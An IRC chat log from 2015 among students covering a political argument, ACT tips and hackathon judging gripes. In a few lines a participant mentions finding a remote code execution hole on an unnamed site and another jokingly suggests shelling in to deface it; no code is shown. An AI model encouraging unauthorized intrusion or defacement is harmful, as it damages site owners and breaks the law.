[2015-03-29T02:33:14-0400] <galvertez> same with every other country/tribe
[2015-03-29T02:33:22-0400] <+awe> The USA has sized itself from a tiny community to what it is now as the wealthy elite saw fit.
[2015-03-29T02:33:30-0400] <galvertez> oh.
[2015-03-29T02:33:42-0400] <galvertez> i didn't know that.
[2015-03-29T02:33:54-0400] <+awe> I mean, think about our constitution.
[2015-03-29T02:33:56-0400] <galvertez> where did the wealthy elite come from?
[2015-03-29T02:34:04-0400] <+awe> Mercantilism?
[2015-03-29T02:34:12-0400] <galvertez> geographically
[2015-03-29T02:34:13-0400] <galvertez> where
[2015-03-29T02:34:16-0400] <+awe> Europe
[2015-03-29T02:34:25-0400] <+awe> Mostly Great Britain.
[2015-03-29T02:34:28-0400] <galvertez> they came to america already wealthy elites?
[2015-03-29T02:34:30-0400] <+awe> Yes.
[2015-03-29T02:34:37-0400] <galvertez> interesting
[2015-03-29T02:34:47-0400] <galvertez> have you written them a letter?
[2015-03-29T02:34:55-0400] <+awe> A lot of them are dead. :p
[2015-03-29T02:34:59-0400] <+awe> And by that I mean literally all of them.
[2015-03-29T02:35:12-0400] <LittleBobbyTables> Why haven't you built a time machine yet?
[2015-03-29T02:35:20-0400] <galvertez> are you talking about ben franklin and his whole crew?
[2015-03-29T02:35:33-0400] <+awe> LittleBobbyTables: If I do, don't worry, I'll punch Alexander Hamilton in the dick.
[2015-03-29T02:35:50-0400] <LittleBobbyTables> thanks
[2015-03-29T02:36:05-0400] <+awe> galvertez: and most of the others who lived in the US at the time, yeah.
[2015-03-29T02:36:09-0400] <galvertez> because it would seem to me that USA would scale itself back if it didn't still see the current size as appropriate
[2015-03-29T02:36:23-0400] <galvertez> after they died
[2015-03-29T02:36:31-0400] <+awe> Other people inherited their power?
[2015-03-29T02:36:32-0400] <galvertez> so to me it seems that we still see fit to retain this size
[2015-03-29T02:36:36-0400] <z3t> off-topic: anyone know how to run shell commands in lua :/
[2015-03-29T02:36:46-0400] <+awe> z3t: os.exec?
[2015-03-29T02:36:50-0400] <galvertez> inherited their power...?
[2015-03-29T02:37:00-0400] <bob_twinkles> z3t: depends on what implementation, what standard library, what phase of the moon...
[2015-03-29T02:37:50-0400] <+awe> galvertez: It's not like after they died there was suddenly no longer an elite.
[2015-03-29T02:38:10-0400] <+awe> And our constitution is designed specifically to protect the elite.
[2015-03-29T02:38:38-0400] <galvertez> it's designed specifically to keep a large government out of the picture
[2015-03-29T02:38:42-0400] <+awe> A valuable question to think about is this: Why were our founding fathers so afraid of what the majority thought?
[2015-03-29T02:38:43-0400] <galvertez> believe it or not
[2015-03-29T02:38:49-0400] <galvertez> that helps both the elite and the non-elite
[2015-03-29T02:39:36-0400] <+awe> If it was designed to keep a large government out of the picture, why is our government huge?
[2015-03-29T02:39:37-0400] <galvertez> the majority thought? i don't pretend to be inside the head of 200 years dead people
[2015-03-29T02:39:59-0400] <galvertez> because as it turns out, government always finds a way
[2015-03-29T02:40:17-0400] <+awe> That's incredibly defeatist.
[2015-03-29T02:40:28-0400] <galvertez> OK
[2015-03-29T02:40:32-0400] <galvertez> it's defeatist then.
[2015-03-29T02:40:46-0400] <galvertez> it's not to say there's no hope 
[2015-03-29T02:40:47-0400] <+awe> I'd argue that the reason why our government is huge now is because the constitution is designed to protect the elite, and not to do anything with the size of government.
[2015-03-29T02:40:59-0400] <galvertez> have you read the constitution?
[2015-03-29T02:41:02-0400] <+awe> In the early days, protecting the elite meant having a small government.
[2015-03-29T02:41:13-0400] <+awe> In more recent years, it's meant the opposite.
[2015-03-29T02:41:21-0400] <+awe> Yes, I have read the constitution.
[2015-03-29T02:41:30-0400] <galvertez> because for you to have that attitude it seems like
[2015-03-29T02:41:35-0400] <galvertez> there's no way you read it
[2015-03-29T02:41:47-0400] <+awe> Your condescension is appreciated.
[2015-03-29T02:42:07-0400] <galvertez> i'm not condescending, just skeptical
[2015-03-29T02:42:22-0400] <galvertez> constitution doesn't have any power anymore
[2015-03-29T02:42:30-0400] <galvertez> not really
[2015-03-29T02:42:39-0400] <+awe> You are condescending. You just tried to argue that because my analysis of something differs from yours, I must be lying about reading it.
[2015-03-29T02:42:47-0400] <+awe> The constitution has plenty of power.
[2015-03-29T02:42:57-0400] <+awe> Think about what the document it is.
[2015-03-29T02:43:01-0400] <+awe> s/it is/is/
[2015-03-29T02:43:08-0400] <+awe> I'll give you a hint: it's more than the Bill of Rights.
[2015-03-29T02:43:24-0400] <+awe> There's an entire document there describing the design of a government.
[2015-03-29T02:43:26-0400] <galvertez> how is that not condescension 
[2015-03-29T02:43:29-0400] <galvertez> lol
[2015-03-29T02:43:44-0400] <+awe> If you're going to be condescending, I'm not going to hesitate to do it back.
[2015-03-29T02:43:52-0400] <galvertez> OK
[2015-03-29T02:44:21-0400] <+awe> Regardless, you can't say that the constitution doesn't have power when it describes the makeup of our government.
[2015-03-29T02:45:16-0400] <+awe> The Bill of Rights certainly has very little tract in the modern age (which is, of course, a huge shame).
[2015-03-29T02:45:54-0400] <galvertez> welp this is evidently an impossible conversation i just came in asking for some context on the abstract community you were referencing talking to bob_twinkles about
[2015-03-29T02:46:33-0400] <galvertez> and now somehow trying to uncover what i thought would be really simple i've dug up all kinds of other weird shit
[2015-03-29T02:46:51-0400] <bob_twinkles> it's politics and ethics, nothing is simple
[2015-03-29T02:47:14-0400] <galvertez> asking for a description should have been lol
[2015-03-29T02:47:24-0400] <+awe> I gave you that description.
[2015-03-29T02:47:37-0400] <galvertez> if you say so
[2015-03-29T02:47:49-0400] <+awe> [02:10:55]  <+awe>	My ideal community would resemble the needs and desires of the people who live in it.
[2015-03-29T02:48:02-0400] <galvertez> that is not concrete at all
[2015-03-29T02:48:13-0400] <galvertez> you were talking about something specific
[2015-03-29T02:48:19-0400] <galvertez> with bob-twinkles
[2015-03-29T02:48:21-0400] <+awe> A group of people who live together sit down and talk about what they need and want.
[2015-03-29T02:48:29-0400] <+awe> How is that not concrete?
[2015-03-29T02:48:29-0400] <galvertez> wow man
[2015-03-29T02:48:36-0400] <galvertez> ok
[2015-03-29T02:48:39-0400] <galvertez> i give up
[2015-03-29T02:48:47-0400] <+awe> I don't know what you mean by specific?
[2015-03-29T02:48:55-0400] <+awe> That's the sort of community I was talking about to bob_twinkles.
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[2015-03-29T02:49:09-0400] <+awe> LittleBobbyTables: your friend is super butthurt.
[2015-03-29T02:50:29-0400] <+awe> That certainly killed a lot of time.
[2015-03-29T02:50:45-0400] <bob_twinkles> yup
[2015-03-29T02:50:48-0400] <bob_twinkles> good talk
[2015-03-29T02:55:16-0400] <z3t> so I found a remote code execution vuln on the same site...
[2015-03-29T02:55:45-0400] <+awe> You're such a tease, z3t.
[2015-03-29T02:56:02-0400] <bob_twinkles> z3t: shell in, add a "you're shit's fucked" banner?
[2015-03-29T02:56:12-0400] <z3t> lol
[2015-03-29T02:56:32-0400] <bob_twinkles> spell it "you're" instead of the correct "your" too
[2015-03-29T02:56:37-0400] <bob_twinkles> that part's important
[2015-03-29T02:57:11-0400] <z3t> oh shit it's almost 3am
[2015-03-29T02:57:15-0400] <z3t> :l
[2015-03-29T02:57:17-0400] <bob_twinkles> yep
[2015-03-29T02:57:19-0400] <bob_twinkles> time's a thing
[2015-03-29T02:57:23-0400] <Tamini> hey, it's break
[2015-03-29T02:57:25-0400] <Tamini> time doesnt exist
[2015-03-29T02:57:27-0400] <z3t> tru
[2015-03-29T02:57:34-0400] <bob_twinkles> oh, yeah
[2015-03-29T02:57:35-0400] <z3t> but I have stuff to do tomorrow
[2015-03-29T02:57:44-0400] <+awe> Tamini: you guys are on break?
[2015-03-29T02:57:44-0400] <Tamini> like what?
[2015-03-29T02:57:51-0400] <Tamini> awe: yep, just started :D
[2015-03-29T02:57:55-0400] <Tamini> that's why i'm learning haskell
[2015-03-29T02:58:02-0400] <Tamini> free time
[2015-03-29T02:58:26-0400] <z3t> like figuring out what the hell the ACT looks like, as I'm taking it in a few weeks.
[2015-03-29T02:58:26-0400] <+awe> Ah.
[2015-03-29T02:58:51-0400] <+awe> z3t: Basically like the SAT plus an additional section entitled Science that has nothing to do with science and everything to do with graph comprehension.
[2015-03-29T02:59:02-0400] <z3t> oh
[2015-03-29T02:59:14-0400] <+awe> Source: I got a 36 on Science because I can read graphs.
[2015-03-29T02:59:24-0400] <z3t> how many sections rae there?
[2015-03-29T02:59:27-0400] <z3t> are *
[2015-03-29T02:59:31-0400] <+awe> Four.
[2015-03-29T02:59:37-0400] <z3t> how long?
[2015-03-29T03:00:33-0400] <+awe> Reading and Science are 35m (40 questions), math is 60m (60 questions), and Writing is 45m (75 questions)
[2015-03-29T03:01:19-0400] <bob_twinkles> https://twitter.com/sadserver is pretty great
[2015-03-29T03:01:24-0400] <z3t> argh
[2015-03-29T03:01:30-0400] <bob_twinkles> in case you didn't already have enough things to kill time with at 3AM
[2015-03-29T03:01:30-0400] <z3t> wish they split them like SAT
[2015-03-29T03:01:49-0400] <Tamini> bob_twinkles, is this your lifestyle during breaks
[2015-03-29T03:01:52-0400] <Tamini> no sleep whatsoever
[2015-03-29T03:02:06-0400] <bob_twinkles> nah, I'll be in bed until like 1500 today
[2015-03-29T03:02:18-0400] <Tamini> lol
[2015-03-29T03:02:23-0400] <+awe> z3t: there's also an optional 30m essay.
[2015-03-29T03:02:24-0400] <Tamini> my excuse is i'm adjusting for jet lag early
[2015-03-29T03:02:29-0400] <z3t> yeah I'm doing that
[2015-03-29T03:02:35-0400] <z3t> similar to SAT essay?
[2015-03-29T03:02:39-0400] <+awe> Yup.
[2015-03-29T03:04:53-0400] <+awe> z3t: Personally, I found it to be easier.
[2015-03-29T03:05:06-0400] <+awe> (35/36 vs 2250/2400)
[2015-03-29T03:05:08-0400] <z3t> interesting
[2015-03-29T03:05:15-0400] <bob_twinkles> from what I've heard, most people find the ACT much easier
[2015-03-29T03:05:27-0400] <bob_twinkles> I only ever took the SAT because I'm lazy
[2015-03-29T03:05:30-0400] <+awe> It's the darned graph comprehension section. ;)
[2015-03-29T03:06:04-0400] <+awe> Seriously though, I was appalled when the questions required literally no knowledge of science at all.
[2015-03-29T03:06:46-0400] <+awe> It's basically just a) do you know what the scientific method is? b) can you read a description of an experiment? and c) can you read a graph?
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[2015-03-29T03:11:05-0400] <Tamini> awe: sounds like the ap bio test
[2015-03-29T03:12:01-0400] <+awe> Are you telling me I could've taken that and credited out of Bio?
[2015-03-29T03:12:02-0400] <+awe> Dangit.
[2015-03-29T03:16:14-0400] <+awe> bob_twinkles: "Local Sysadmin discovers one weird trick to take down all of production simultaneously!"
[2015-03-29T03:16:23-0400] <bob_twinkles> lol yup
[2015-03-29T03:16:26-0400] <bob_twinkles> it's good
[2015-03-29T03:17:14-0400] <+awe> "The "open" part of "OpenSSL" has an unfortunate double meaning"
[2015-03-29T03:17:16-0400] <+awe> Ayyy.
[2015-03-29T03:17:42-0400] <bob_twinkles> yeah, I think that one was publish ~heartbleed =P
[2015-03-29T03:17:55-0400] <+awe> Ten days ago?
[2015-03-29T03:18:34-0400] <z3t> lol
[2015-03-29T03:18:36-0400] <bob_twinkles> or not lol
[2015-03-29T03:19:05-0400] <+awe> OpenSSL is trash 365, bob_twinkles.
[2015-03-29T03:19:14-0400] <+awe> It's not just occasionally. :p
[2015-03-29T03:20:51-0400] <+awe> My 10,000th follower will receive a complimentary gift basket filled with crushing depression and a collection of bath soaps.
[2015-03-29T03:20:53-0400] <+awe> Lol.
[2015-03-29T03:22:00-0400] <+awe> "If you think about it, you're nothing more than an inefficient means of turning coffee and beer into stack traces."
[2015-03-29T03:22:04-0400] <+awe> Also, ayyyy.
[2015-03-29T03:22:09-0400] <+awe> I'm really enjoying this.
[2015-03-29T03:49:34-0400] <ubuntor> http://securityreactions.tumblr.com/
[2015-03-29T04:12:44-0400] <z3t> imma sleep, gn all.
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[2015-03-29T07:33:17-0400] <JacobEdelman> gmorning humans!
[2015-03-29T07:39:16-0400] <JacobEdelman> time !xkcd
[2015-03-29T07:39:23-0400] <JacobEdelman> ?xkcd time
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[2015-03-29T12:44:06-0400] <JacobEdelman> Demo time
[2015-03-29T12:44:56-0400] <+awe> Good luck.
[2015-03-29T12:49:20-0400] <LittleBobbyTables> awe, yeah, that happens lol
[2015-03-29T12:49:33-0400] <+awe> What? He gets butthurt?
[2015-03-29T12:52:22-0400] <LittleBobbyTables> Mostly this late at night, yeah.
[2015-03-29T12:57:09-0400] <JacobEdelman> wait, what?
[2015-03-29T12:59:10-0400] <JacobEdelman> jacobs rules of hackathons number 1:
[2015-03-29T12:59:22-0400] <JacobEdelman> don't do crypto
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[2015-03-29T13:01:21-0400] <z3t> sup kids
[2015-03-29T13:01:23-0400] <+awe> Morning, z3t.
[2015-03-29T13:01:35-0400] <+awe> JacobEdelman: you missed a lot last night, that's all.
[2015-03-29T13:02:03-0400] <LittleBobbyTables> z3t: are you still breaking the site that you refuse to tell us :(
[2015-03-29T13:02:25-0400] <Hyper> JacobEdelman: what hackathon?
[2015-03-29T13:02:43-0400] <JacobEdelman> hackbca
[2015-03-29T13:02:45-0400] <Hyper> lame
[2015-03-29T13:02:50-0400] <Hyper> you should've come to defhacks
[2015-03-29T13:02:51-0400] <JacobEdelman> awe: i saw most of it
[2015-03-29T13:02:56-0400] <JacobEdelman> Hyper: bad timing
[2015-03-29T13:03:15-0400] <Hyper> JacobEdelman: my friend and I yolod together a mentor project in the last hour
[2015-03-29T13:03:15-0400] <Hyper> https://rawgit.com/Hypersonic/BananaRaptor/master/index.html
[2015-03-29T13:03:46-0400] <JacobEdelman> I'm assuming you won
[2015-03-29T13:03:52-0400] <Hyper> technically didn't enter
[2015-03-29T13:03:54-0400] <Hyper> we were mentors
[2015-03-29T13:03:58-0400] <JacobEdelman> still
[2015-03-29T13:04:04-0400] <JacobEdelman> they should have declared you the winner anyway
[2015-03-29T13:04:10-0400] <Hyper> well we had to not enter because it wouldn't have been fair
[2015-03-29T13:04:11-0400] <JacobEdelman> *winners
[2015-03-29T13:04:16-0400] <+awe> Hyper: How do I use it?
[2015-03-29T13:04:16-0400] <JacobEdelman> true
[2015-03-29T13:04:23-0400] <Hyper> awe: yes
[2015-03-29T13:04:27-0400] <JacobEdelman> lol
[2015-03-29T13:04:55-0400] <Hyper> it's more of a art installation
[2015-03-29T13:04:59-0400] <Hyper> you experience it
[2015-03-29T13:05:15-0400] <JacobEdelman> or does it experience you?
[2015-03-29T13:05:19-0400] <JacobEdelman> modern art ftw
[2015-03-29T13:07:15-0400] <+awe> Hyper: How do I experience it?
[2015-03-29T13:07:33-0400] <Hyper> awe: I can't tell you how to experience it, you must discover that for yourself
[2015-03-29T13:07:43-0400] <+awe> 3deep5me
[2015-03-29T13:07:50-0400] <Hyper> the process is one of discovery, and telling it would not convey the same meaning
[2015-03-29T13:08:19-0400] <alokpathy> lolwut
[2015-03-29T13:09:11-0400] <Hyper> alokpathy: yolo
[2015-03-29T13:09:37-0400] <alokpathy> :P
[2015-03-29T13:11:49-0400] <JacobEdelman> uhg, having no team members is hard
[2015-03-29T13:11:56-0400] <JacobEdelman> I have to stay by my project the entire time
[2015-03-29T13:12:13-0400] <JacobEdelman> so I can't leave to look at other projects or use the bathroom
[2015-03-29T13:13:06-0400] <Hyper> JacobEdelman: it's also less fun!
[2015-03-29T13:14:32-0400] <+awe> I don't have any teammates for HackUMass right now. .-.
[2015-03-29T13:15:54-0400] <JacobEdelman> Hyper: nah
[2015-03-29T13:16:02-0400] <JacobEdelman> yall were holding me back
[2015-03-29T13:16:15-0400] <JacobEdelman> without you I was able to copy and paste code _twice_ as fast!
[2015-03-29T13:16:17-0400] <JacobEdelman> :P
[2015-03-29T13:16:30-0400] <+awe> Yup.
[2015-03-29T13:17:00-0400] <JacobEdelman> (although, in all honesty, being solo allows you to do projects that focus on one singular aspect and might be harder to do for others)
[2015-03-29T13:17:25-0400] <JacobEdelman> *with
[2015-03-29T13:19:54-0400] <+awe> So, as soon as openssl gets updated, awebot should build again because my PR landed.
[2015-03-29T13:21:50-0400] <JacobEdelman> Nice
[2015-03-29T13:23:37-0400] <JacobEdelman> uhg
[2015-03-29T13:23:39-0400] <JacobEdelman> this timing is bad
[2015-03-29T13:23:59-0400] <JacobEdelman> I've only had one judge (for one of my sponsor prizes) come by, no judges for the general competition
[2015-03-29T13:24:08-0400] <JacobEdelman> and they just annonced that only 10 minutes are lefr
[2015-03-29T13:24:10-0400] <JacobEdelman> *left
[2015-03-29T13:24:22-0400] <JacobEdelman> which leads me to think that if a judge does make it they will be rushed
[2015-03-29T13:24:26-0400] <JacobEdelman> and that makes me sad
[2015-03-29T13:24:27-0400] <JacobEdelman> :(
[2015-03-29T13:25:13-0400] <+awe> Yeah, it's a shame because of how brilliant and innovative your idea was.
[2015-03-29T13:25:28-0400] <jwoglom> hackathon judging is pretty screwed up in general
[2015-03-29T13:26:01-0400] <JacobEdelman> jwoglom: agreed
[2015-03-29T13:26:06-0400] <JacobEdelman> awe: it was decent
[2015-03-29T13:27:24-0400] <+awe> It certainly wasn't going to win.
[2015-03-29T13:30:58-0400] <JacobEdelman> shhh
[2015-03-29T13:31:02-0400] <JacobEdelman> judging is still going on
[2015-03-29T13:31:14-0400] <JacobEdelman> and awe, really? there are only 26 non begginer hacks here
[2015-03-29T13:31:22-0400] <JacobEdelman> and out of those I'd say 13 are legit 
[2015-03-29T13:31:31-0400] <JacobEdelman> I have a finished polished project
[2015-03-29T13:31:38-0400] <JacobEdelman> with object recognition involved
[2015-03-29T13:31:43-0400] <JacobEdelman> and its useful
[2015-03-29T13:32:10-0400] <JacobEdelman> here are all submissions:
[2015-03-29T13:32:11-0400] <JacobEdelman> http://hackbca2015.challengepost.com/submissions
[2015-03-29T13:32:17-0400] <JacobEdelman> find the 3 you think are better than mine
[2015-03-29T13:33:50-0400] <LittleBobbyTables> which one is yours?
[2015-03-29T13:34:17-0400] <JacobEdelman> jefs
[2015-03-29T13:34:31-0400] <JacobEdelman> markov autocomplete is my younger brothers
[2015-03-29T13:34:38-0400] <JacobEdelman> (he did it with my cousin and sammy berger)
[2015-03-29T13:34:41-0400] <Tamini> ooh sammy
[2015-03-29T13:34:43-0400] <Tamini> :O
[2015-03-29T13:34:47-0400] <JacobEdelman> yes
[2015-03-29T13:34:50-0400] <Tamini> he wasnt at pclassic this time :<
[2015-03-29T13:34:55-0400] <JacobEdelman> wait,
[2015-03-29T13:34:58-0400] <JacobEdelman> he was
[2015-03-29T13:35:07-0400] <alokpathy> Lol he was.
[2015-03-29T13:35:09-0400] <JacobEdelman> I'm 96% sure he was
[2015-03-29T13:35:17-0400] <JacobEdelman> the remaining 4% is sleep deprivation
[2015-03-29T13:35:21-0400] <alokpathy> I'm 100% sure he was.
[2015-03-29T13:35:24-0400] <Tamini> wait what
[2015-03-29T13:35:25-0400] <alokpathy> I had to drive him home.
[2015-03-29T13:35:29-0400] <Tamini> i didnt see him.
[2015-03-29T13:35:32-0400] <Tamini> :<
[2015-03-29T13:35:42-0400] <alokpathy> You did.
[2015-03-29T13:35:45-0400] <alokpathy> He was on your team.
[2015-03-29T13:35:59-0400] <JacobEdelman> lol
[2015-03-29T13:36:02-0400] <alokpathy> The USACO camper.
[2015-03-29T13:36:15-0400] <JacobEdelman> ezra wasn't there though
[2015-03-29T13:36:18-0400] <Tamini> wait 
[2015-03-29T13:36:26-0400] <Tamini> im asking about miniberger
[2015-03-29T13:36:30-0400] <JacobEdelman> yeah
[2015-03-29T13:36:35-0400] <JacobEdelman> I'm answering about him
[2015-03-29T13:36:35-0400] <alokpathy> We know. I was kidding around xD
[2015-03-29T13:36:52-0400] <alokpathy> Ezra++ was there.
[2015-03-29T13:37:03-0400] <Tamini> ...they were?
[2015-03-29T13:37:06-0400] <Tamini> i didnt see ezra.
[2015-03-29T13:37:10-0400] <alokpathy> Ezra wasn't there.
[2015-03-29T13:37:14-0400] <alokpathy> Ezra++ was there.
[2015-03-29T13:37:22-0400] <Tamini> ezra++?
[2015-03-29T13:37:23-0400] <Tamini> :P
[2015-03-29T13:37:25-0400] <alokpathy> JacobEdelman: 
[2015-03-29T13:37:27-0400] <alokpathy> :P
[2015-03-29T13:39:32-0400] <Tamini> ah
[2015-03-29T13:50:31-0400] <JacobEdelman> I have been judged
[2015-03-29T13:50:41-0400] <JacobEdelman> I think the judge liked it
[2015-03-29T13:51:02-0400] <z3t> which one is yours JacobEdelman?
[2015-03-29T13:51:08-0400] <JacobEdelman> jefs
[2015-03-29T13:51:16-0400] <JacobEdelman> prounced jeff's not jeffs
[2015-03-29T13:51:20-0400] <JacobEdelman> thats very important
[2015-03-29T13:51:55-0400] <JacobEdelman> http://challengepost.com/software/jefs
[2015-03-29T13:51:59-0400] <JacobEdelman> the detials are sparse
[2015-03-29T13:52:01-0400] <JacobEdelman> cause I lazy
[2015-03-29T13:52:57-0400] <JacobEdelman> my project has the advantage
[2015-03-29T13:53:19-0400] <JacobEdelman> that it seems useful to people who don't necessarily have too much tech experience 
[2015-03-29T13:53:32-0400] <JacobEdelman> and it seems technically difficult to them too (due to image recognition)
[2015-03-29T13:56:08-0400] <JacobEdelman> and it is technically difficult to an extent
[2015-03-29T13:56:12-0400] <JacobEdelman> cause file system making is hard
[2015-03-29T13:58:32-0400] <JacobEdelman> also
[2015-03-29T13:58:37-0400] <JacobEdelman> what happened last night?
[2015-03-29T14:00:32-0400] <z3t> stuff
[2015-03-29T14:17:06-0400] <+awe> Yeah, man, it's so hard to make a file system using FUSE and to attach it to other software you didn't write. ;)
[2015-03-29T14:31:55-0400] <JacobEdelman> awe: fuse not easy
[2015-03-29T14:31:59-0400] <JacobEdelman> file systems confusing
[2015-03-29T14:33:29-0400] <+awe> You finished it in like two hours.
[2015-03-29T14:33:31-0400] <+awe> It's clearly not hard.
[2015-03-29T14:33:43-0400] <z3t> lol
[2015-03-29T14:33:52-0400] <z3t> /afk
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[2015-03-29T14:41:37-0400] <JacobEdelman> awe: i didn't do the image recognition in two hours
[2015-03-29T14:41:46-0400] <JacobEdelman> that took significantly longer
[2015-03-29T14:41:48-0400] <JacobEdelman> also
[2015-03-29T14:41:53-0400] <JacobEdelman> did not win
[2015-03-29T14:41:55-0400] <JacobEdelman> :(
[2015-03-29T14:42:13-0400] <JacobEdelman> (ps. a viginere andriod app did win)
[2015-03-29T14:42:17-0400] <JacobEdelman> (jacob annoyed)
[2015-03-29T14:44:49-0400] <JacobEdelman> *win = top 5
[2015-03-29T14:46:08-0400] <JacobEdelman> http://challengepost.com/software/pixy-beats
[2015-03-29T14:46:12-0400] <JacobEdelman> thats one of the top 5
[2015-03-29T14:46:27-0400] <JacobEdelman> another of the top 5
[2015-03-29T14:46:28-0400] <JacobEdelman> http://challengepost.com/software/pothead
[2015-03-29T14:48:48-0400] <JacobEdelman> note: the pixy beats project has a small problem
[2015-03-29T14:48:54-0400] <JacobEdelman> in that it doesn't work
[2015-03-29T14:51:20-0400] <JacobEdelman> another in the top 5:
[2015-03-29T14:51:20-0400] <JacobEdelman> http://challengepost.com/software/smith-o8hao
[2015-03-29T14:53:52-0400] <JacobEdelman> smith also did not work
[2015-03-29T14:53:56-0400] <JacobEdelman> but they claim it does work
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[2015-03-29T14:57:56-0400] <alokpathy> JacobEdelman: Did you get top 20?
[2015-03-29T14:58:26-0400] <JacobEdelman> they only gave top 5 :(
[2015-03-29T14:59:08-0400] <JacobEdelman> another top 5: http://challengepost.com/software/releaf
[2015-03-29T14:59:20-0400] <JacobEdelman> that one just checks your reaction time to tell if you have a concussion
[2015-03-29T14:59:27-0400] <JacobEdelman> ...
[2015-03-29T14:59:57-0400] <JacobEdelman> (also for the pothead one, tons of idnetical projects can be found on challenge post)
[2015-03-29T14:59:59-0400] <JacobEdelman> I give up
[2015-03-29T15:00:09-0400] <JacobEdelman> I don't think I'm coming back to hackbca
[2015-03-29T15:00:11-0400] <JacobEdelman> these apps
[2015-03-29T15:00:18-0400] <JacobEdelman> have no technical merit
[2015-03-29T15:00:21-0400] <JacobEdelman> or creative merit
[2015-03-29T15:00:25-0400] <JacobEdelman> or polish merit
[2015-03-29T15:01:50-0400] <alokpathy> I doubt you'll find a hackathon with half-decent judging.
[2015-03-29T15:02:11-0400] <JacobEdelman> *the releaf one also lets you put in numbers to a form and tells you how much of a concusiion you have (aka, just some study they used)
[2015-03-29T15:02:18-0400] <JacobEdelman> alokpathy: pennapps isn't this bad...
[2015-03-29T15:02:27-0400] <JacobEdelman> and neither was hackprinceton when we were there
[2015-03-29T15:02:34-0400] <JacobEdelman> I mean, non were great
[2015-03-29T15:02:36-0400] <JacobEdelman> but this one
[2015-03-29T15:02:44-0400] <JacobEdelman> is the worst
[2015-03-29T15:02:48-0400] <alokpathy> gg
[2015-03-29T15:02:51-0400] <JacobEdelman> well
[2015-03-29T15:02:54-0400] <JacobEdelman> hackpdgn ftw
[2015-03-29T15:04:54-0400] <JacobEdelman> last of the top 5
[2015-03-29T15:04:55-0400] <JacobEdelman> http://challengepost.com/software/alchemy
[2015-03-29T15:05:01-0400] <JacobEdelman> a game thats not entirely horrible
[2015-03-29T15:05:04-0400] <JacobEdelman> it seems to work
[2015-03-29T15:05:05-0400] <alokpathy> Ayy, alchemy
[2015-03-29T15:05:13-0400] <JacobEdelman> yeah, similar to that type
[2015-03-29T15:05:18-0400] <alokpathy> hardmath123: Congrats on top 5 at hackBCA
[2015-03-29T15:05:24-0400] <JacobEdelman> although the way they are describing things
[2015-03-29T15:05:35-0400] <JacobEdelman> makes me think they used a ready built card game thing
[2015-03-29T15:05:39-0400] <JacobEdelman> but maybe I'm wrong
[2015-03-29T15:07:26-0400] <JacobEdelman> wait
[2015-03-29T15:07:28-0400] <JacobEdelman> its not working
[2015-03-29T15:07:33-0400] <JacobEdelman> sigh
[2015-03-29T15:07:44-0400] • JacobEdelman: is saddened
[2015-03-29T15:15:06-0400] <alokpathy> JacobEdelman: Wow you're in the TJ chat and not even impersonating anybody.
[2015-03-29T15:15:08-0400] <alokpathy> That's lame.
[2015-03-29T15:16:25-0400] <jwoglom> lol are you guys trying to start up drama
[2015-03-29T15:17:50-0400] <alokpathy> I'm just derping around
[2015-03-29T15:17:52-0400] <alokpathy> XD
[2015-03-29T15:36:12-0400] <Fill> awe: around?
[2015-03-29T15:50:55-0400] <ubuntor> 3 more days until freenode april fools hunt!
[2015-03-29T16:03:07-0400] <JacobEdelman> alokpathy: lol
[2015-03-29T16:05:22-0400] <Tamini> alokpathy: lol
[2015-03-29T16:05:29-0400] <Tamini> i was tempted to tell animesh what was going on
[2015-03-29T16:05:57-0400] <alokpathy> lolol
[2015-03-29T16:15:09-0400] <JacobEdelman> Tamini: and ruin all the fun?
[2015-03-29T16:15:16-0400] <Tamini> well nah
[2015-03-29T16:15:21-0400] <JacobEdelman> alokpathy: you should push harder for kickingn out non tj people
[2015-03-29T16:15:22-0400] <Tamini> he would have found it hilarious
[2015-03-29T16:15:26-0400] <JacobEdelman> *out
[2015-03-29T16:15:28-0400] <JacobEdelman> *kicking
[2015-03-29T16:15:36-0400] <JacobEdelman> *duck
[2015-03-29T16:15:38-0400] <JacobEdelman> *esparugus
[2015-03-29T16:15:42-0400] <JacobEdelman> *dead hippo
[2015-03-29T16:15:44-0400] • JacobEdelman: is tired
[2015-03-29T16:15:58-0400] <alokpathy> I couldn't tell :P
[2015-03-29T16:16:04-0400] <alokpathy> That seems like something you'd do anyways.
[2015-03-29T16:16:11-0400] <JacobEdelman> true
[2015-03-29T16:16:34-0400] <JacobEdelman> alokpathy: seriosly
[2015-03-29T16:16:43-0400] <JacobEdelman> alokpathy: try to get them to kick me for being non-tj
[2015-03-29T16:16:44-0400] <JacobEdelman> :P
[2015-03-29T16:17:04-0400] <JacobEdelman> have Tamini , ubuntor , and jwoglom help
[2015-03-29T16:17:06-0400] <JacobEdelman> :P
[2015-03-29T16:17:12-0400] <alokpathy> You've misspelled seriously the same way like 3 times. I'm beginning to think you don't know how to actually spell it xD.
[2015-03-29T16:17:16-0400] <Tamini> im so lazy though
[2015-03-29T16:17:18-0400] <alokpathy> And eh
[2015-03-29T16:17:33-0400] <JacobEdelman> did I mention I'm tired
[2015-03-29T16:17:34-0400] <alokpathy> Apparently there are several non-TJers there
[2015-03-29T16:17:41-0400] <alokpathy> You did it last night too :P
[2015-03-29T16:17:43-0400] <alokpathy> And yes
[2015-03-29T16:17:53-0400] <JacobEdelman> oooh
[2015-03-29T16:17:54-0400] <JacobEdelman> okay
[2015-03-29T16:35:47-0400] <ubuntor> wat
[2015-03-29T16:36:17-0400] <ubuntor> too much effort
[2015-03-29T16:36:25-0400] <jwoglom> idk just bother creffett or something
[2015-03-29T16:36:31-0400] <jwoglom> why do you want to be kicked
[2015-03-29T16:36:55-0400] <ubuntor> too boring? :P
[2015-03-29T16:39:17-0400] <Tamini> we should stop, though
[2015-03-29T16:39:24-0400] <Tamini> andrew is beginning to get annoyed by this whole fiasco
[2015-03-29T16:40:30-0400] <alokpathy> What fiasco?
[2015-03-29T16:40:43-0400] <alokpathy> Stop what?
[2015-03-29T16:40:45-0400] <jwoglom> lots of non TJ people joining
[2015-03-29T16:40:45-0400] • alokpathy: is confused.
[2015-03-29T16:40:47-0400] <alokpathy> Oh
[2015-03-29T16:40:49-0400] <jwoglom> and being annoying
[2015-03-29T16:41:07-0400] <alokpathy> What non-TJ kids are being annoying, though?
[2015-03-29T16:42:02-0400] <jwoglom> most of them, lol
[2015-03-29T16:42:43-0400] <alokpathy> Oh
[2015-03-29T16:42:47-0400] <alokpathy> like who?
[2015-03-29T16:43:39-0400] <jwoglom> last time z3t trolled?
[2015-03-29T16:47:22-0400] <alokpathy> But z3t isn't there anymore, right?
[2015-03-29T16:47:46-0400] <Tamini> yeah but the whole issue with non tj kids and the drama that kicking/not kicking causes
